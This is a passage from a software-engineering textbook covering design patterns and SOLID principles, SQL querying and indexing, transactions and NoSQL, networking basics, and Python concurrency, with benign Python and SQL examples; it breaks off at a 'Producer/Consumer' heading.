Engineering Craft

Chapter 28 Design Patterns & Clean Architecture

The SOLID Principles

SOLID is an acronym for five principles that guide object-oriented design. They were collected and named by Robert C. Martin, and they form the bedrock of maintainable software. Let us walk through each one with real violations in Python code and then the fix.

S — Single Responsibility Principle (SRP)

A class should have one reason to change. If a class handles both business logic and file I/O, those are two independent reasons it might need updating.

Violation:

class TaskManager:
    """Handles tasks AND writes reports AND sends emails."""
    def __init__(self):
        self.tasks = []

    def add_task(self, title, priority):
        self.tasks.append({"title": title, "priority": priority})

    def generate_report(self):
        html = "<h1>Task Report</h1>"
        for t in self.tasks:
            html += f"<p>{t['title']} - {t['priority']}</p>"
        return html

    def send_email(self, to_address, body):
        import smtplib
        server = smtplib.SMTP("mail.example.com")
        server.sendmail("tasks@example.com", to_address, body)
        server.quit()

This class has three reasons to change: task logic, report formatting, and email delivery. If you switch from SMTP to an email API, you are editing the same file that handles task management.

Fix — split into focused classes:

class TaskManager:
    """Only manages tasks."""
    def __init__(self):
        self.tasks = []

    def add_task(self, title, priority):
        self.tasks.append({"title": title, "priority": priority})

    def get_tasks(self):
        return list(self.tasks)


class TaskReporter:
    """Only generates reports from task data."""
    def generate_html(self, tasks):
        html = "<h1>Task Report</h1>"
        for t in tasks:
            html += f"<p>{t['title']} - {t['priority']}</p>"
        return html


class EmailSender:
    """Only sends emails."""
    def send(self, to_address, body):
        import smtplib
        server = smtplib.SMTP("mail.example.com")
        server.sendmail("tasks@example.com", to_address, body)
        server.quit()

Now each class has exactly one reason to change. You can swap the email sender without touching task logic.

O — Open/Closed Principle (OCP)

Software entities should be open for extension but closed for modification. You should be able to add new behaviour without rewriting existing code.

Violation:

class TaskExporter:
    def export(self, tasks, format_type):
        if format_type == "json":
            import json
            return json.dumps(tasks)
        elif format_type == "csv":
            lines = ["title,priority"]
            for t in tasks:
                lines.append(f"{t['title']},{t['priority']}")
            return "\n".join(lines)
        # Every new format requires editing THIS method

Adding XML export means modifying the existing export method — violating OCP.

Fix — use polymorphism:

from abc import ABC, abstractmethod

class Exporter(ABC):
    @abstractmethod
    def export(self, tasks): pass

class JsonExporter(Exporter):
    def export(self, tasks):
        import json
        return json.dumps(tasks)

class CsvExporter(Exporter):
    def export(self, tasks):
        lines = ["title,priority"]
        for t in tasks:
            lines.append(f"{t['title']},{t['priority']}")
        return "\n".join(lines)

# Adding XML? Create a new class. Zero existing code changes.
class XmlExporter(Exporter):
    def export(self, tasks):
        xml = "<tasks>"
        for t in tasks:
            xml += f"<task><title>{t['title']}</title></task>"
        xml += "</tasks>"
        return xml

L — Liskov Substitution Principle (LSP)

Subtypes must be usable anywhere their parent type is expected without breaking correctness. If a function accepts a Bird, passing in a Penguin should not crash because Penguin.fly() raises an exception.

Violation:

class Rectangle:
    def __init__(self, width, height):
        self.width = width
        self.height = height

    def area(self):
        return self.width * self.height

class Square(Rectangle):
    def __init__(self, side):
        super().__init__(side, side)

    def set_width(self, w):
        self.width = w
        self.height = w  # Silently changes height too!

Code that calls rect.set_width(5) then checks rect.height expecting it to be unchanged will break with a Square. The fix: do not make Square inherit from Rectangle. Use a shared Shape interface instead.

I — Interface Segregation Principle (ISP)

Clients should not be forced to depend on methods they do not use. A fat interface with 20 methods forces every implementer to stub out unused ones.

Violation:

class Worker(ABC):
    @abstractmethod
    def code(self): pass

    @abstractmethod
    def test(self): pass

    @abstractmethod
    def manage_team(self): pass  # Not all workers manage!

class JuniorDev(Worker):
    def code(self): return "Writing code"
    def test(self): return "Running tests"
    def manage_team(self):
        raise NotImplementedError("Juniors don't manage!")

Fix — split into focused interfaces:

class Coder(ABC):
    @abstractmethod
    def code(self): pass

class Tester(ABC):
    @abstractmethod
    def test(self): pass

class Manager(ABC):
    @abstractmethod
    def manage_team(self): pass

class JuniorDev(Coder, Tester):
    def code(self): return "Writing code"
    def test(self): return "Running tests"

class TechLead(Coder, Tester, Manager):
    def code(self): return "Writing code"
    def test(self): return "Running tests"
    def manage_team(self): return "Leading the team"

D — Dependency Inversion Principle (DIP)

High-level modules should not depend on low-level modules. Both should depend on abstractions.

Violation:

class TaskService:
    def __init__(self):
        self.db = SQLiteDatabase("tasks.db")  # Hard-wired!

    def get_all_tasks(self):
        return self.db.query("SELECT * FROM tasks")

You cannot swap the database or test without a real file. Fix — depend on an abstraction:

class Database(ABC):
    @abstractmethod
    def query(self, sql): pass

class TaskService:
    def __init__(self, db: Database):
        self.db = db  # Injected from outside

    def get_all_tasks(self):
        return self.db.query("SELECT * FROM tasks")

# Production:
service = TaskService(SQLiteDatabase("tasks.db"))
# Testing:
test_service = TaskService(InMemoryDatabase())

Creational Patterns

Creational patterns abstract away how objects are created so calling code does not need to know the exact class being instantiated.

Factory Pattern

A Factory creates objects without exposing creation logic. Instead of calling a constructor directly, you call a factory function that returns the right object based on input.

class Task:
    def __init__(self, title, priority="medium"):
        self.title = title
        self.priority = priority

class Bug(Task):
    def __init__(self, title, severity="normal"):
        super().__init__(title, priority="high")
        self.severity = severity

class Feature(Task):
    def __init__(self, title, story_points=1):
        super().__init__(title, priority="medium")
        self.story_points = story_points

def create_task(task_type, title, **kwargs):
    """Factory function: caller doesn't know which class is used."""
    factories = {
        "bug": Bug,
        "feature": Feature,
        "task": Task,
    }
    cls = factories.get(task_type)
    if cls is None:
        raise ValueError(f"Unknown task type: {task_type}")
    return cls(title, **kwargs)

# Usage — caller never imports Bug or Feature directly
item = create_task("bug", "Login page crashes", severity="critical")
print(type(item).__name__)  # Bug

Builder Pattern

When construction requires many optional parameters, the Builder pattern provides a readable, step-by-step interface instead of a constructor with 15 arguments.

class TaskBuilder:
    def __init__(self, title):
        self._title = title
        self._priority = "medium"
        self._assignee = None
        self._labels = []
        self._due_date = None

    def priority(self, p):
        self._priority = p
        return self  # Enable chaining

    def assign_to(self, name):
        self._assignee = name
        return self

    def label(self, lbl):
        self._labels.append(lbl)
        return self

    def due(self, date):
        self._due_date = date
        return self

    def build(self):
        return {
            "title": self._title,
            "priority": self._priority,
            "assignee": self._assignee,
            "labels": self._labels,
            "due_date": self._due_date,
        }

# Clean, readable construction
task = (TaskBuilder("Fix login bug")
        .priority("high")
        .assign_to("Alice")
        .label("security")
        .label("urgent")
        .due("2026-04-01")
        .build())

Singleton (and Why It Is Usually Wrong)

A Singleton ensures only one instance of a class exists globally.

class ConfigManager:
    _instance = None

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
            cls._instance.settings = {}
        return cls._instance

a = ConfigManager()
b = ConfigManager()
assert a is b  # True — same object

Structural Patterns

Adapter Pattern

An Adapter wraps an incompatible interface so it matches what your code expects. Imagine TaskForge expects save() and load(), but a third-party library uses write_data() and read_data().

class ThirdPartyStorage:
    """We cannot modify this class."""
    def write_data(self, key, value):
        print(f"Writing {key}: {value}")

    def read_data(self, key):
        return {"title": "Example task"}

class StorageAdapter:
    """Makes ThirdPartyStorage look like our interface."""
    def __init__(self, adaptee):
        self._adaptee = adaptee

    def save(self, key, value):
        return self._adaptee.write_data(key, value)

    def load(self, key):
        return self._adaptee.read_data(key)

# TaskForge code works without changes
storage = StorageAdapter(ThirdPartyStorage())
storage.save("task-1", {"title": "Buy groceries"})

Decorator Pattern

The Decorator pattern adds behaviour to an object without modifying its class. Python supports function decorators natively, but the OOP version wraps one object inside another with the same interface.

class TaskService:
    def get_task(self, task_id):
        return {"id": task_id, "title": "Fix bug"}

class LoggingTaskService:
    """Adds logging around every call."""
    def __init__(self, wrapped):
        self._wrapped = wrapped

    def get_task(self, task_id):
        print(f"[LOG] Getting task {task_id}")
        result = self._wrapped.get_task(task_id)
        print(f"[LOG] Found: {result['title']}")
        return result

class CachingTaskService:
    """Adds caching."""
    def __init__(self, wrapped):
        self._wrapped = wrapped
        self._cache = {}

    def get_task(self, task_id):
        if task_id not in self._cache:
            self._cache[task_id] = self._wrapped.get_task(task_id)
        return self._cache[task_id]

# Stack decorators: logging around caching around real service
service = LoggingTaskService(CachingTaskService(TaskService()))

Facade Pattern

A Facade provides a simplified interface to a complex subsystem. Instead of forcing callers to interact with ten classes, you give them one class with a few clear methods.

class TaskForge:
    """Facade: one entry point for the entire system."""
    def __init__(self, db, auth, notifier, logger):
        self._db = db
        self._auth = auth
        self._notifier = notifier
        self._logger = logger

    def create_task(self, user_token, title, priority):
        user = self._auth.verify(user_token)
        task = self._db.insert_task(title, priority, user.id)
        self._notifier.notify_team(f"New task: {title}")
        self._logger.log("task_created", task.id, user.id)
        return task

Behavioural Patterns

Observer Pattern (Pub/Sub)

The Observer pattern lets objects subscribe to events. When something happens, all subscribers are notified automatically, decoupling the event source from handlers.

class EventBus:
    def __init__(self):
        self._listeners = {}

    def subscribe(self, event_type, callback):
        self._listeners.setdefault(event_type, []).append(callback)

    def publish(self, event_type, data):
        for callback in self._listeners.get(event_type, []):
            callback(data)

bus = EventBus()

def send_email(task):
    print(f"Email: New task '{task['title']}' created")

def update_dashboard(task):
    print(f"Dashboard: Refreshing with new task")

bus.subscribe("task_created", send_email)
bus.subscribe("task_created", update_dashboard)

# When a task is created, both handlers fire automatically
bus.publish("task_created", {"title": "Fix login bug", "priority": "high"})

Strategy Pattern

The Strategy pattern defines a family of interchangeable algorithms. The client picks which algorithm to use at runtime. This is the pattern we will use for TaskForge storage backends.

from abc import ABC, abstractmethod

class StorageBackend(ABC):
    @abstractmethod
    def save(self, task_id, task_data):
        """Persist a task."""
        pass

    @abstractmethod
    def load(self, task_id):
        """Retrieve a task by ID, or None."""
        pass

    @abstractmethod
    def list_all(self):
        """Return all stored tasks."""
        pass

class InMemoryBackend(StorageBackend):
    def __init__(self):
        self._store = {}

    def save(self, task_id, task_data):
        self._store[task_id] = task_data

    def load(self, task_id):
        return self._store.get(task_id)

    def list_all(self):
        return list(self._store.values())

class TaskManager:
    def __init__(self, backend: StorageBackend):
        self._backend = backend

    def add_task(self, task_id, title, priority="medium"):
        self._backend.save(task_id, {"title": title, "priority": priority})

    def get_task(self, task_id):
        return self._backend.load(task_id)

The beauty is that TaskManager does not know or care which backend it is using. You can swap from in-memory to SQLite to a cloud database with zero changes to the business logic.

Command Pattern

The Command pattern encapsulates a request as an object, enabling undo/redo, queuing, and logging of operations.

class Command(ABC):
    @abstractmethod
    def execute(self): pass

    @abstractmethod
    def undo(self): pass

class AddTaskCommand(Command):
    def __init__(self, manager, task_id, title):
        self.manager = manager
        self.task_id = task_id
        self.title = title

    def execute(self):
        self.manager.add_task(self.task_id, self.title)

    def undo(self):
        self.manager.remove_task(self.task_id)

class CommandHistory:
    def __init__(self):
        self._history = []

    def execute(self, command):
        command.execute()
        self._history.append(command)

    def undo_last(self):
        if self._history:
            cmd = self._history.pop()
            cmd.undo()

Dependency Injection in Practice

Dependency injection (DI) is the practice of passing dependencies in from outside rather than creating them inside the class. We already saw this with DIP above. In Python you rarely need DI frameworks — constructor injection is usually sufficient.

# WITHOUT DI: tightly coupled, untestable
class OrderProcessor:
    def __init__(self):
        self.payment = StripePayment()  # Hard-coded!
        self.email = SendGridEmail()    # Hard-coded!

# WITH DI: loosely coupled, easily testable
class OrderProcessor:
    def __init__(self, payment, email):
        self.payment = payment  # Injected
        self.email = email      # Injected

# Production
processor = OrderProcessor(StripePayment(), SendGridEmail())
# Testing
test_proc = OrderProcessor(MockPayment(), MockEmail())

Refactoring Patterns & Code Smells

A code smell is a surface-level indicator that something deeper may be wrong. Here are the most common smells and their remedies:

Extract Method is the most common refactoring. Take a block of code that does one coherent thing, give it a descriptive name, and make it a function:

# Before: one large function doing four things
def process_order(order):
    if not order.get("items"):
        raise ValueError("No items")
    if order["total"] < 0:
        raise ValueError("Negative total")
    tax = order["total"] * 0.08
    order["tax"] = tax
    order["grand_total"] = order["total"] + tax
    db.save(order)
    email.send(order["customer"], f"Confirmed: ${order['grand_total']}")

# After: each step has a clear name
def process_order(order):
    validate_order(order)
    apply_tax(order)
    db.save(order)
    notify_customer(order)

def validate_order(order):
    if not order.get("items"):
        raise ValueError("No items")
    if order["total"] < 0:
        raise ValueError("Negative total")

def apply_tax(order, rate=0.08):
    order["tax"] = order["total"] * rate
    order["grand_total"] = order["total"] + order["tax"]

def notify_customer(order):
    email.send(order["customer"], f"Confirmed: ${order['grand_total']}")

Replace Conditional with Polymorphism is especially powerful when you have long if/elif chains based on a type field — exactly what we fixed with OCP above.

The Strangler Fig Pattern is for large-scale refactoring: instead of rewriting a system from scratch, you gradually build the new system alongside the old one, routing traffic to the new code piece by piece until the old system is fully replaced. The name comes from the strangler fig tree, which grows around a host tree and eventually replaces it.

Chapter 29 SQL & Query Mastery

JOINs — Connecting Tables

Real databases spread data across multiple tables to avoid duplication (normalisation). JOINs are how you reconnect that data in queries. Understanding the different JOIN types is essential.

INNER JOIN

Returns only rows that have a match in both tables. If a task has no category, it is excluded entirely.

-- Tasks with their category names (only matched rows)
SELECT tasks.title, categories.name AS category
FROM tasks
INNER JOIN categories ON tasks.category_id = categories.id;

Think of INNER JOIN as the intersection of two sets. Only matching pairs appear in the result.

LEFT OUTER JOIN

Returns all rows from the left table, even if there is no match in the right table. Unmatched columns from the right table become NULL.

-- ALL tasks, including those without a category
SELECT tasks.title, categories.name AS category
FROM tasks
LEFT JOIN categories ON tasks.category_id = categories.id;

-- Result includes:
-- "Fix login bug"    | "Bugs"
-- "Unassigned task"  | NULL    ← no category, still included

CROSS JOIN

Returns the Cartesian product — every row from the first table paired with every row from the second. If table A has 3 rows and table B has 4 rows, the result has 12 rows. Rarely needed, but useful for generating all possible combinations.

-- Every task paired with every user (for scheduling matrix)
SELECT tasks.title, users.name
FROM tasks
CROSS JOIN users;

Self-Join

A table joined to itself. Useful for hierarchical data like tasks that have subtasks.

-- Find tasks and their parent tasks
SELECT child.title AS subtask, parent.title AS parent_task
FROM tasks AS child
INNER JOIN tasks AS parent ON child.parent_id = parent.id;

Subqueries & CTEs

Subqueries

A subquery is a query nested inside another query. An uncorrelated subquery runs once independently. A correlated subquery runs once per row of the outer query and is therefore slower, but sometimes necessary.

-- Uncorrelated: find tasks with above-average priority score
SELECT title, priority_score
FROM tasks
WHERE priority_score > (SELECT AVG(priority_score) FROM tasks);

-- Correlated: find each user's most recent task
SELECT t.title, t.created_at, t.user_id
FROM tasks t
WHERE t.created_at = (
    SELECT MAX(t2.created_at)
    FROM tasks t2
    WHERE t2.user_id = t.user_id  -- References outer query
);

Common Table Expressions (CTEs)

A CTE uses the WITH clause to define a temporary named result set. CTEs make complex queries readable by breaking them into logical steps.

-- Find categories with more than 5 high-priority tasks
WITH high_priority AS (
    SELECT category_id, COUNT(*) AS cnt
    FROM tasks
    WHERE priority = 'high'
    GROUP BY category_id
)
SELECT categories.name, high_priority.cnt
FROM high_priority
INNER JOIN categories ON high_priority.category_id = categories.id
WHERE high_priority.cnt > 5;

CTEs are far more readable than nested subqueries, and you can reference the same CTE multiple times in the main query.

Window Functions

Window functions perform calculations across a set of rows related to the current row, without collapsing the result like GROUP BY does. They are one of the most powerful features of modern SQL.

-- ROW_NUMBER: sequential number within each category
SELECT title, category_id, priority_score,
       ROW_NUMBER() OVER (
           PARTITION BY category_id
           ORDER BY priority_score DESC
       ) AS rank_in_category
FROM tasks;

-- RANK: ties get the same rank (with gaps after)
SELECT title, priority_score,
       RANK() OVER (ORDER BY priority_score DESC) AS rank
FROM tasks;

-- LAG / LEAD: access the previous/next row's value
SELECT title, created_at,
       LAG(created_at) OVER (ORDER BY created_at) AS prev_date
FROM tasks;

The OVER clause defines the window: PARTITION BY splits rows into groups (like GROUP BY but without collapsing), and ORDER BY defines the sort order within each partition.

Indexing — Making Queries Fast

Without indexes, every query scans the entire table (a “full table scan”). An index is a separate data structure that lets the database find rows without scanning everything. Think of it as the index at the back of a textbook.

B-Tree Indexes

The most common index type is the B-tree (balanced tree). It keeps keys sorted in a tree structure where each node points to ranges of values. Looking up a value is O(log n) instead of O(n).

-- Single-column index on the column you filter by most
CREATE INDEX idx_tasks_priority ON tasks(priority);

-- Composite index: useful when filtering by both columns together
CREATE INDEX idx_tasks_cat_priority ON tasks(category_id, priority);

-- Column order matters! This index helps:
--   WHERE category_id = 5 AND priority = 'high'  (both columns)
--   WHERE category_id = 5                         (leftmost column)
-- But NOT:
--   WHERE priority = 'high'  (can't skip the first column)

Covering Indexes

A covering index includes all columns the query needs, so the database answers the query entirely from the index without touching the main table.

-- If this is your most common query:
SELECT title, priority FROM tasks WHERE category_id = 5;

-- This covering index answers it without touching the table:
CREATE INDEX idx_covering ON tasks(category_id, title, priority);

When Indexes Hurt

Indexes are not free. Every index adds overhead to INSERT, UPDATE, and DELETE operations (the index must be updated too) and consumes storage. On write-heavy tables with rare reads, too many indexes can actually slow things down. Profile before you index blindly.

Query Optimisation

EXPLAIN — Reading Query Plans

The EXPLAIN command shows you how the database will execute a query.

EXPLAIN QUERY PLAN
SELECT tasks.title, categories.name
FROM tasks
INNER JOIN categories ON tasks.category_id = categories.id
WHERE tasks.priority = 'high';

-- Output might show:
-- SCAN TABLE tasks           ← Full table scan! No index on priority
-- SEARCH TABLE categories USING INTEGER PRIMARY KEY  ← Good, using PK

Look for the word SCAN (bad on large tables — reading every row) vs. SEARCH or USING INDEX (good — using an index). If you see SCAN on a large table with a WHERE clause, you probably need an index.

The N+1 Problem

The N+1 problem occurs when your code makes one query to fetch a list, then N additional queries to fetch related data for each item. It is extremely common and extremely wasteful.

# THE N+1 PROBLEM
# 1 query to get all categories
categories = db.execute("SELECT * FROM categories").fetchall()

for cat in categories:
    # N queries, one per category!
    tasks = db.execute(
        "SELECT * FROM tasks WHERE category_id = ?", (cat["id"],)
    ).fetchall()
    print(f"{cat['name']}: {len(tasks)} tasks")

# If there are 100 categories, that's 101 total queries!

# THE FIX: single JOIN query
results = db.execute("""
    SELECT categories.name, COUNT(tasks.id) AS task_count
    FROM categories
    LEFT JOIN tasks ON tasks.category_id = categories.id
    GROUP BY categories.id
""").fetchall()
# 1 query instead of 101!

Normalisation

Normalisation organises data to reduce redundancy. There are several “normal forms,” each building on the last.

First Normal Form (1NF): Every column contains atomic (single) values. No lists or repeating groups.

-- VIOLATES 1NF: tags column contains a comma-separated list
-- | id | title    | tags              |
-- | 1  | Fix bug  | "urgent,security" |

-- 1NF FIX: separate table for tags
-- tasks: | id | title   |
-- tags:   | id | task_id | tag      |
--         | 1  | 1       | urgent   |
--         | 2  | 1       | security |

Second Normal Form (2NF): Satisfies 1NF, and every non-key column depends on the entire primary key (relevant for composite keys).

Third Normal Form (3NF): Satisfies 2NF, and no non-key column depends on another non-key column (no transitive dependencies).

-- VIOLATES 3NF: city depends on zip_code, not on the primary key
-- | user_id | name  | zip_code | city     |

-- 3NF FIX: separate zip_codes table
-- users:     | user_id | name  | zip_code |
-- zip_codes: | zip_code | city            |

When to denormalise: Read-heavy analytics and reporting queries may benefit from storing redundant data to avoid expensive JOINs. This is a deliberate trade-off: faster reads at the cost of more complex writes and potential data inconsistency.

users = db.query("SELECT * FROM users")
for user in users:
    tasks = db.query(f"SELECT * FROM tasks WHERE user_id = {user.id}")
    user.task_count = len(tasks)

SELECT users.*, COUNT(tasks.id) AS task_count
FROM users
LEFT JOIN tasks ON tasks.user_id = users.id
GROUP BY users.id

Chapter 30 Transactions, NoSQL & Data Evolution

Transactions & ACID

A transaction is a group of database operations that must either all succeed or all fail. There is no in-between. The properties that guarantee this are called ACID:

Atomicity: All operations in the transaction succeed, or none of them do. If step 3 of 5 fails, steps 1 and 2 are rolled back as if they never happened.

Consistency: A transaction moves the database from one valid state to another. Constraints (foreign keys, unique rules, check constraints) are always enforced.

Isolation: Concurrent transactions do not interfere with each other. Each sees the database as if it were the only one running (the degree of isolation is configurable).

Durability: Once committed, data survives crashes, power failures, and restarts.

import sqlite3

conn = sqlite3.connect("bank.db")
cursor = conn.cursor()

try:
    cursor.execute("UPDATE accounts SET balance = balance - 100 WHERE id = 'A'")
    cursor.execute("UPDATE accounts SET balance = balance + 100 WHERE id = 'B'")
    conn.commit()    # Both succeed
except Exception:
    conn.rollback()  # Both fail — Account A keeps its money

Isolation Levels

Isolation is not binary — there is a spectrum. Stricter isolation means more safety but less concurrency.

Dirty read: Transaction A reads data that Transaction B modified but has not yet committed. If B rolls back, A read data that never truly existed.

Non-repeatable read: Transaction A reads a row, B modifies and commits it, then A re-reads and gets a different value.

Phantom read: Transaction A queries rows matching a condition, B inserts a new matching row and commits, then A re-queries and sees a “phantom” row that was not there before.

Deadlocks

A deadlock occurs when two transactions each hold a lock the other needs. Neither can proceed, so they wait forever.

# Transaction 1:                    Transaction 2:
# Lock row A                        Lock row B
# Try to lock row B (WAIT...)       Try to lock row A (WAIT...)
# ... deadlock!                     ... deadlock!

Prevention strategies:

• Always acquire locks in the same order (e.g., always lock lower ID first)
• Keep transactions short — less time holding locks means less chance of collision
• Use timeouts so a blocked transaction gives up instead of waiting forever
• Most databases detect deadlocks automatically and roll back one transaction

Connection Pooling

Every database connection has overhead: TCP setup, authentication, memory allocation. A connection pool maintains pre-opened connections. When your code needs one, it borrows from the pool and returns it when done.

# Conceptual connection pool (real systems use SQLAlchemy or similar)
class ConnectionPool:
    def __init__(self, db_path, pool_size=5):
        self._available = [sqlite3.connect(db_path) for _ in range(pool_size)]
        self._in_use = []

    def get_connection(self):
        if not self._available:
            raise Exception("No connections available")
        conn = self._available.pop()
        self._in_use.append(conn)
        return conn

    def return_connection(self, conn):
        self._in_use.remove(conn)
        self._available.append(conn)

The NoSQL Landscape

Relational databases (SQL) are the right choice most of the time. But certain workloads benefit from different data models. There are four main NoSQL categories:

Document Stores (e.g., MongoDB)

Store data as JSON-like documents. Each document can have a different structure. Great for content management, user profiles, and catalogs.

# TaskForge as a document:
{
    "_id": "task-001",
    "title": "Fix login bug",
    "priority": "high",
    "assignee": {"name": "Alice", "email": "alice@example.com"},
    "comments": [
        {"author": "Bob", "text": "Reproduced on Chrome", "date": "2026-03-15"}
    ]
}

Key-Value Stores (e.g., Redis)

Simple: a key maps to a value. Extremely fast (often in-memory). Used for caching, session storage, rate limiting.

Column-Family Stores (e.g., Cassandra)

Optimised for writing and reading large volumes across many servers. Used for time-series data, IoT logs, event tracking at massive scale.

Graph Databases (e.g., Neo4j)

Store data as nodes and edges (relationships). Used for social networks, recommendation engines, fraud detection.

Schema Migrations

Your database schema will change over time: new columns, renamed fields, new tables. Schema migrations are versioned scripts that evolve the structure.

# Migration 001: initial schema
"""
CREATE TABLE tasks (
    id INTEGER PRIMARY KEY,
    title TEXT NOT NULL,
    done BOOLEAN DEFAULT 0
);
"""

# Migration 002: add priority column
"""
ALTER TABLE tasks ADD COLUMN priority TEXT DEFAULT 'medium';
"""

# Migration 003: add categories (zero-downtime approach)
"""
-- Step 1: Add nullable column (safe, no breaking change)
ALTER TABLE tasks ADD COLUMN category_id INTEGER;
-- Step 2: Backfill existing rows (in application code, gradually)
-- Step 3: Add constraint once all data is valid
"""

Zero-downtime migrations follow a careful sequence: add the column as nullable, deploy code that writes to both old and new columns, backfill existing data, then finally add constraints or drop old columns. Never drop a column that running code still reads.

Chapter 31 Networking & the Internet

The TCP/IP Stack

The internet is built in layers. Each layer has a specific job and communicates with the layers above and below it.

As a developer, you spend most of your time in layers 4 and 5. But when debugging latency or connection failures, understanding the lower layers helps you ask the right questions.

DNS — Turning Names into Addresses

When you type api.taskforge.dev into a browser, your computer asks a DNS (Domain Name System) server to translate the human-readable name into an IP address like 93.184.216.34.

The resolution chain: check local cache → ask your DNS resolver → root nameservers → TLD nameservers (.dev) → authoritative nameserver → IP returned and cached with a TTL (Time to Live).

# Debugging DNS from the terminal
$ dig api.taskforge.dev

;; ANSWER SECTION:
api.taskforge.dev.   300   IN    A    93.184.216.34
#                    TTL         Type  IP address

TCP vs. UDP

TCP (Transmission Control Protocol) provides reliable, ordered delivery using a three-way handshake:

1. SYN: Client says “I want to connect”
2. SYN-ACK: Server says “OK, acknowledged. I also want to connect.”
3. ACK: Client says “Acknowledged. We are connected.”

After this handshake, data flows reliably. Lost packets are retransmitted. Out-of-order packets are reordered.

UDP (User Datagram Protocol) skips the handshake entirely. It fires packets and hopes they arrive. Faster but unreliable.

HTTP Deep Dive

HTTP is the application-layer protocol that powers the web and most APIs. You used it in Chapter 13; now let us go deeper.

Methods

Idempotent means calling it multiple times produces the same result. Sending the same PUT request twice gives the same resource state. Sending POST twice might create two resources.

Status Codes

# 2xx — Success
200 OK                  # Request succeeded
201 Created             # Resource created (after POST)
204 No Content          # Success, nothing to return (after DELETE)

# 3xx — Redirection
301 Moved Permanently   # Update your URL
304 Not Modified        # Cached version is still valid

# 4xx — Client Error (your fault)
400 Bad Request         # Malformed request
401 Unauthorized        # Not authenticated (who are you?)
403 Forbidden           # Authenticated but not authorised (you can't do that)
404 Not Found           # Resource does not exist
429 Too Many Requests   # Rate limited

# 5xx — Server Error (their fault)
500 Internal Error      # Generic server failure
502 Bad Gateway         # Proxy got bad response from upstream
503 Service Unavailable # Server overloaded or in maintenance

Headers, Cookies & Sessions

Headers carry metadata: Content-Type (format of the body), Authorization (credentials), Accept (what formats the client understands).

Cookies are small data pieces the server stores on the client via the Set-Cookie header. They are sent automatically with every subsequent request to that domain.

Sessions pair a cookie (containing a session ID) with server-side data. The server creates a session on login, gives you a cookie with the ID, and on later requests, looks up your session to know who you are.

HTTP/2 Improvements

HTTP/2 introduced multiplexing (multiple requests over a single connection), header compression, and server push. You do not need to change your code — it is handled by the web server and browser automatically.

TLS/HTTPS

TLS (Transport Layer Security) encrypts the connection between client and server. HTTPS is HTTP over TLS. The simplified handshake:

1. Client sends “Hello” with supported cipher suites
2. Server sends its certificate (proves identity) and chosen cipher
3. Client verifies certificate against trusted Certificate Authorities
4. Both sides exchange keys using asymmetric encryption (slow, one-time)
5. Both switch to symmetric encryption (fast) for the rest of the session

WebSockets

Regular HTTP is request/response. For real-time features, you need the server to push data to the client. WebSockets upgrade an HTTP connection into a persistent, full-duplex channel where both sides can send messages at any time.

Debugging Tools

# curl — the Swiss Army knife of HTTP debugging
$ curl https://api.taskforge.dev/tasks          # GET request
$ curl -v https://api.taskforge.dev/tasks       # Verbose: headers, TLS info
$ curl -I https://api.taskforge.dev/tasks       # HEAD: headers only
$ curl -X POST -H "Content-Type: application/json" \
       -d '{"title":"New task"}' \
       https://api.taskforge.dev/tasks          # POST with JSON

# dig — DNS debugging
$ dig api.taskforge.dev                          # Full DNS record
$ dig +short api.taskforge.dev                   # Just the IP

# traceroute — see the network path
$ traceroute api.taskforge.dev                   # Shows each hop

Chapter 32 Concurrency & Parallelism

Three Models: Processes, Threads, Async

Python offers three fundamental ways to do multiple things at once. Each is suited for different situations.

Processes are fully independent programs running in separate memory spaces. They can truly run in parallel on multiple CPU cores. But they are expensive to create and communicating between them is complex.

Threads are lightweight execution units within a single process. They share memory, making communication easy but dangerous (race conditions). In Python, the GIL limits their effectiveness for CPU-bound work.

Async/await (cooperative multitasking) uses a single thread but switches between tasks whenever one is waiting for I/O. Extremely efficient for I/O-bound work but cannot speed up CPU-bound tasks.

Python’s GIL

The Global Interpreter Lock (GIL) is a mutex in CPython that ensures only one thread executes Python bytecode at a time. This means threads cannot achieve true parallelism for CPU-bound work.

What the GIL prevents: Two threads crunching numbers simultaneously on different cores.

What the GIL does NOT prevent: I/O-bound concurrency. When a thread waits for a network response or disk read, it releases the GIL, letting other threads run. This is why threading still works well for I/O tasks.

import threading
import time

# I/O-bound: threading helps (GIL released during sleep/network)
def fetch_data(url):
    time.sleep(1)  # Simulates network I/O
    return f"Data from {url}"

# CPU-bound: threading does NOT help (GIL blocks parallelism)
def compute_heavy(n):
    total = 0
    for i in range(n):
        total += i * i
    return total

Threading

Python’s threading module lets you run functions concurrently. But shared state between threads is dangerous without synchronisation.

import threading

counter = 0  # Shared state — danger!

def increment():
    global counter
    for _ in range(100000):
        counter += 1  # NOT thread-safe!

t1 = threading.Thread(target=increment)
t2 = threading.Thread(target=increment)
t1.start(); t2.start()
t1.join(); t2.join()

print(counter)  # Expected: 200000. Actual: something less!

The fix is a lock:

lock = threading.Lock()
counter = 0

def safe_increment():
    global counter
    for _ in range(100000):
        with lock:  # Only one thread at a time
            counter += 1

Async/Await

Async/await is Python’s system for cooperative multitasking. A coroutine (defined with async def) can pause with await while waiting for I/O, letting other coroutines run on the same thread.

import asyncio

async def fetch_task(task_id):
    print(f"Fetching task {task_id}...")
    await asyncio.sleep(1)  # Non-blocking wait
    print(f"Got task {task_id}")
    return {"id": task_id, "title": f"Task {task_id}"}

async def main():
    # All three start concurrently, wait together
    results = await asyncio.gather(
        fetch_task(1),
        fetch_task(2),
        fetch_task(3),
    )
    # ~1 second total, not 3!
    print(f"Got {len(results)} tasks")

# asyncio.run(main())  # Starts the event loop

The event loop manages all running coroutines. When one hits await, it yields control back to the loop, which runs other ready coroutines.

Multiprocessing

For CPU-bound work, multiprocessing spawns separate Python processes, each with its own GIL. True parallelism on multiple cores.

from multiprocessing import Pool

def process_image(path):
    """CPU-heavy image processing."""
    # ... computation ...
    return f"Processed {path}"

# Process 8 images across 4 CPU cores
with Pool(processes=4) as pool:
    results = pool.map(process_image, [
        "img1.png", "img2.png", "img3.png", "img4.png",
        "img5.png", "img6.png", "img7.png", "img8.png",
    ])
# ~2x faster than sequential on 4 cores

Common Concurrency Bugs

Race condition: Two threads read-modify-write the same data, and interleaving produces an incorrect result. Fix: use locks or atomic operations.

Deadlock: Thread A holds Lock 1 and waits for Lock 2. Thread B holds Lock 2 and waits for Lock 1. Fix: always acquire locks in the same global order.

Starvation: A thread never gets access to a resource because others keep taking it first. Fix: use fair locks or priority queues.

Thundering herd: Many threads wake simultaneously to compete for one resource (e.g., a cache expires and 1000 requests all regenerate it). Fix: single-flight pattern — one thread regenerates, others wait for its result.

Patterns

Producer/Consumer

